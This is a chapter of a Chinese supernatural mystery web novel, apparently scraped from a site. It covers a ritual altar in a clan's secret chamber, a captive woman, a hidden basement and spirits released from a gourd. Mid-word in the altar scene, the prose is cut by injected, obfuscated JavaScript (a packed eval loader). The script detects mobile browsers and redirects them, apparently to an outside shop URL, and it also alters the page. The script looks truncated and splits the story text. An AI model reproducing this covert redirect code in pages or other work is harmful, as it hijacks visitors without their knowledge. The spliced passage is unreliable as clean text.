“现在我们怎么办啊?”吴昭戈蹬着网,在空中来回摆动着,一副既来之即安之的闲散模样。
“能怎么办,等死呗。”拾冬困在网里,被吴昭戈撞的连续转了好几圈后,终于忍无可忍开始反击了。
“你个废物!”
“女人,你说谁是废物!”
“除了你还有谁!”
“我丢你...”
谢白从楼上下来,看了一会儿不远处打得不亦乐乎的空中二人,他走到楼梯边旁,解开其中一根绳子,正准备还击的拾冬感觉自己迅速下降。
“喂,你干嘛?!”吴昭戈在网里看着谢白把人放下来后,动作麻利反绑住她的手,网也不取,就这么把她拖上祭坛。
“你想干什么?”拾冬先是看了一眼祭坛,白布下隆起的形状,看样子是个人,又转头看向谢白。
这个男人,眼角带疤,眼神平静看向自己,脸上不带多余的表情,就像一个假人。
可越是这样,越让人感觉平静下是深不可见的漩涡。
“路民跟我提过你。”
几乎是条件反射,拾冬绷紧了后背,双手开始挣扎,扭动,企图挣脱手腕的绳索。
谢白无视拾冬想逃跑的举动,一边踩住网绳,一边掀开祭坛上的白布。
拾冬这下终于看清了祭坛上的人。
他闭着眼,双颊瘦削,胸口轻微起伏,除了隐私部位,接近赤裸,皮肤透着常年不见阳光形成的不健康的白。嫡长孙祭祀,那他起码比吴昭则要大,可看上去,他比刚满十八的吴昭戈都小。
半空中的吴昭戈也一脸震惊,他从没见过这个人。
“他是谁?”吴昭戈忍不住发问。
谢白把那人抱起放在地上,一边大发慈悲解释:“你们吴家真正的大公子,吴昭州。”
“你放屁!”
谢白懒得搭腔,他现在有更重要的事要做。
拾冬想跑,可谢白牢牢踩着网的抽绳,她出不去,手也被捆绑在身后,在反复挣扎无果后,她企图冷静,说出的话却在抖:“路民跟你说了什么?”
谢白嘴角淡淡一笑,他享受这份高位者游刃有余的快感,望着网里的拾冬,明知故问:“你觉得他会跟我说什么?”
呼吸声重到无法忽视,拾冬隔着网眼望着面前的人,他的脸一会儿清晰一会儿模糊,直到他移开脚,网眼从眼前一点点撤离。
好像...好像...
“路民说,他很喜欢给你掀头纱,你看,现在这样像不像...”
“闭嘴!闭嘴!闭嘴!”
她陷入无尽黑暗里。
“喂,你放开她,你要干什么!”
吴昭戈看着男人把不断挣扎的拾冬打晕后放在祭坛上,他用力扯着渔网,手勒出血了渔网还是毫发无损,“你别伤害她,你一个大男人做这种事恶不恶心,你是不是男人?”
谢白对吴昭戈无能狂怒充耳不闻,背对着他细细端详祭坛上的人。
哭了呢。
他手指轻轻拂去她眼角残留的泪痕,在没有察觉的身后,一个人摇晃着下楼了。
*
“吴奶奶,我进来咯。”
吴昭宁穿的旗袍没有口袋,又拎几大盒补品干脆就没带手机,这会儿捂着鼻子在墙边摸索了十几秒才打开客厅灯。
客厅不大,家具也很简陋,几张掉漆的凳子随意摆放在室内,靠墙的原木桌上泛出一层油渍,上面盖着一个老式的白色饭菜罩,吴妈常用来听戏的收音机也搁在上面。正对着墙上挂了一面褪了色的红色方形镜子,镜托上有两把密齿小梳,几根白发映在镜子里。
不会是菜的味道的吧。
吴昭宁掀开饭菜罩,果不其然,是这味儿没跑了。
她犯恶心的同时也放下心来,差点以为要变成凶案现场的第一目击者。
“吴奶奶,你自己回来处理吧。”
吴昭宁捂着鼻子就要跑,这时不知哪传来“一闪一闪亮晶晶,满天都是小星星..”的儿歌声把她吓得一哆嗦。
“这次又是什么啊。”吴昭宁一边抱怨一边朝声音发源地走去。
发声地方是吴妈卧室。
打开房里的灯后,先是看到正对着的衣柜,衣柜顶上堆了一些杂物,一根鱼钩悬挂在半空。左手边一张挂着发黄的白蚊帐老式拔步床,发声的东西正在床旁边的五斗柜上,吴昭宁注意到,卧室的地板和外面的水泥地不同,竟然是木质的。
难道要脱鞋?
吴昭宁担心踩脏地板,踮着脚走到五斗柜旁,拿起那个月亮形状的小闹钟一边找开关一边自言自语:“吴奶奶还挺童趣,有个这么可爱的小闹钟。”
她找到闹钟后面的开关按钮,刚拨到左边,声音停止的刹那,一张字条从月亮上面吐了出来。
吴昭宁漫不经心拿下字条,上面歪歪扭扭写着三个字母,
SOS——
吴昭宁心猛缩了一下后迅速扩张跳动,注意到散落在五斗柜上的其他纸条,逐一查看后,上面无一例外是SOS——。
会不会是巧合,吴妈大字不识一个,怎么会写SOS——。
吴昭宁想起妈在电话里说吴妈没有亲戚,又结合现在手里的字条,她忍不住吞了好几下口水,如果这纸条是一天一出的话...
她坐在床边数了数五斗柜上的纸条,有七八张。
一星期。
鸡皮疙瘩不自觉冒了出来,她搓了搓手臂,手里的字条掉了下去,吴昭宁俯身去捡,鬼使神差般想到刚在祠堂敲地砖的画面,她用手轻轻敲了敲,木质地板听不太出来,但她还是耐心十足一路敲下去,终于在衣柜旁的地板下听出了空荡的回声,与此同时,还看到了其中一块地板右上角上,嵌着一个极小的圆环,不仔细看根本发现不了。
她试着去拽,圆环太小,不好着力,她起身想找工具,一抬头就看到了衣柜上的那个鱼钩。
吴昭宁把鱼钩拽下来,对着圆环一勾再一拽,一块方形地板竟这么被拽了起来。
吴妈家有地下室!
吴昭宁掀开木板往里看,长长的楼梯直通底下地面,有微光透出来。
虽然知道现在不是逞能的时候,最稳妥的办法是出去找人。
但很邪门,吴昭宁就是想逞这个能。
“不管了。”
吴昭宁深吸了口气,小心翼翼爬下了楼梯。
*
孟永和郁之刚走到祠堂,迎面碰到了贾苍说过的打了一辈子光棍的老三,吴天义。
“这么晚了,你们还来祠堂干什么?”
吴天义掌管祠堂大门钥匙,除了端午这样的重要祭祀,平时到晚上,都是由他来关祠堂大门。
“我徒弟手机掉在祠堂了,来找。”
郁之在一旁点头。
“祠堂要关门了,明天来找,不会丢的。”吴天义上下打量着两人,站在门口拦着不让进。
“不行,我们明天一大早的车要走,通融一下,我们找到就出来。”
即便孟永言辞恳切,但吴天义还是不让进,这时郁之突然眉头一皱,刚还漫不经心的模样顿时变了,没等其他两人反应,他已经迅速跑了进去。
“郁之!”
“你们站住!”
吴天义追着两人也进了祠堂。
*
“你在干什么!”
吴天华等人一进密室,就看到了晕倒在楼梯边的吴昭州,而被吴昭州放下来的吴昭戈正被谢白双手反剪,按在祭坛上不停挣扎。
原本在祭坛上的人也由祭品变成了那个从画里出来的女人。
吴天华不知道这是怎么回事,但是吴氏祭坛上出现女人这种违背祖宗的事,让他火冒三丈。
“谢白,你赶紧把那个女人扔下来!”
“谢白,把我孙子放了!”吴天其看到吴昭戈脸都快变形了,先吴天华一步跑向祭坛,边跑边骂,“反了天了,敢动我孙子,你也不看看自己几斤几两。”
结果刚上祭坛,就被谢白一脚踹了下去,吴天其胖,滚皮球似的滚下台阶,吴昭则十分有眼力劲上前接住了痛得哎哎哎一迭声叫的吴天其。
“谢白,你要干什么!要干什么啊!多少钱我都给你,你赶紧把那个女人弄走!弄走啊!”吴天华看吴天其这样也不敢贸然上去,无计可施在底下气得用拐杖直杵地,吴靖贤在一旁帮忙顺气。
“你吴家的事先放放,我有别的事要做。”谢白看了眼手下不断挣扎的吴昭戈,冲吴天其说,“你这孙子有点碍事,好好看好他,不然我的杵可不长眼。”
说完,利落地把吴昭戈推下祭坛,吴天其赶忙接住。
“你们放开我!”吴昭戈在吴天其和吴昭则的钳制下挣扎起来,“吴昭则,你这个叛徒!亏我那么相信你,我永远都不会原谅你!”
吴昭则愧疚得没出声,跟着吴天其把吴昭戈拉离祭坛。
谢白无视底下的咋咋呼呼,他拨开在祭坛一侧的引血
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765341|187222||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
槽,引血槽下的图腾曲曲折折通向祭坛底下的血瓮。
“不可以,不可以啊,不要玷污了我吴家的血脉,不要啊..”吴天华再也顾不得害怕,深一脚浅一脚拄着拐杖就上了祭坛。
祭坛的血瓮,是他们吴家人的血,不可以有外人的血流进去,不可以啊!
“你住手,住手!”
“爸,你小心,小心..”吴靖贤在底下殷切喊着,人就是不上去,眼睁睁看着吴天华被谢白轻而易举地给推下来后,他才大张旗鼓地跑过去,“爸,你没事吧,你可千万不能有事啊...”
谢白对底下的声音置若罔闻,他望了一眼旁边供台上不断震动的葫芦,眼里多了一点笑意,
“你等一下,马上就结束了。”
谢白刚说完,心窝结结实实挨了一脚,他被惯性带着没站稳,从祭坛上摔了下去,吴天华怕他再上去,和吴靖贤两人用尽全力拖住他,不能让他玷污吴家血脉。
苏醒过来的拾冬从祭坛上踉跄下来,后颈还有些许麻意,但她顾不得那么多,眼下得赶紧出去。
“你们放开我!”吴昭戈趁旁边两人没留意,用力挥开两人,上前搀住拾冬,关切发问,“你没事吧?”
拾冬摇头。
“老七,拦住他们。”吴天华这一晚上操碎了心,这边要拦着谢白,那边要提醒吴天其拦住他那大逆不道的孙子,急得嘴角都快起泡了。
吴天其也知道,一旦吴昭戈出去,他一定会报警,可是如果拦下他,自己孙子也很有可能会被吴天华害死,正当他犹豫之时,楼上噼里啪啦下来几个人。
“师姐。”郁之一下楼从吴昭戈手里夺过拾冬,将人半抱进怀里。
“你怎么来了?”拾冬不习惯和人这么亲近,用手微微隔开一臂的距离。
“丫头。”孟永一下楼看到拾冬额头的淤青还有憔悴的模样,火气腾一下涌起,“谁打的,哪个王八蛋打的,他娘的,打狗还得看主人,告诉我,谁打的..”
“你说谁是狗?”
“我这是比喻懂不懂,没文化。”
“你们怎么进来的!”
孟永朝吴天华讥讽一笑:“就你们那过家家似的机关拦得住老子?”
吴天其正要反驳,一抬头,看到吴天义,心一惊,“三哥,你怎么来了..”
吴天义站在台阶上,一言不发望着不远处的吴天华。
“我们出去再说,吴昭戈把你哥带上。”
吴昭戈俯身把昏迷不醒的吴昭州扶起,要不是刚刚他把自己放下来,现在那女人还能在这发号施令,这个女人怎么那么讨厌,我哥那么重,你怎么不帮忙一起。
吴昭戈咬牙把吴昭州架在肩上,一抬眼看到她已经和刚刚跑来的那个男人一前一后准备上楼,男人的手还虚虚围在她手边,怕她摔倒。
她现在是我全世界最讨厌的人!
“你们谁也别想走。”
谢白挣开吴天华等人,迅速跑到供台旁,拿过上面的葫芦,拔开栓子,一缕缕黑气从狭小的葫芦口渗出,没多久,半空中出现一个个黑影,他们没有具体五官,身形如五六岁的孩童,漂浮在空中,
“五阴聚,万魂哀,葫芦肚里烧形骸①,去!”
一声号令,黑影迅而猛冲向在场所有人。
*
吴昭宁终于下了楼。
地下室气温比上面冷一些,眼前走道狭窄,一盏孤零零的老式白炽灯吊在墙边,看上去和玩过的密室逃脱很像,空气中有青苔的潮湿味道,自己的呼吸声成为唯一的声音来源。
吴昭宁抬头看了一眼头顶的灯光,她在犹豫,到底该不该现在回去叫人。
爸爸妈妈不在,奶奶年纪也大了,她能叫谁呢?
反正她不会再信任昭则了。
吴昭宁手指轻轻擦过粗糙的水泥墙壁,比起犹豫的心情,一股更强烈想要独自探索的欲望驱使她迈出了第一步。
走吧。
吴昭宁走了大概五十米经过一个转角后,眼前是一条五六百米的过道,墙壁两边虽然有灯,但有好几盏已经不亮了,灰蒙蒙毛茸茸的光线团在一起,显得整个空间更为逼仄,昏暗。
吴昭宁扶着墙壁缓慢往前走,心随着步子的迈进已经从左心房逐渐移到嗓子眼,走完过道一转弯,赫然看到一个人躺在过道里,吴昭宁一声尖叫,心扑通从嗓子眼跳了出来。
“妈妈...救我!”
吴昭宁蹲在地上吓得哭了出来。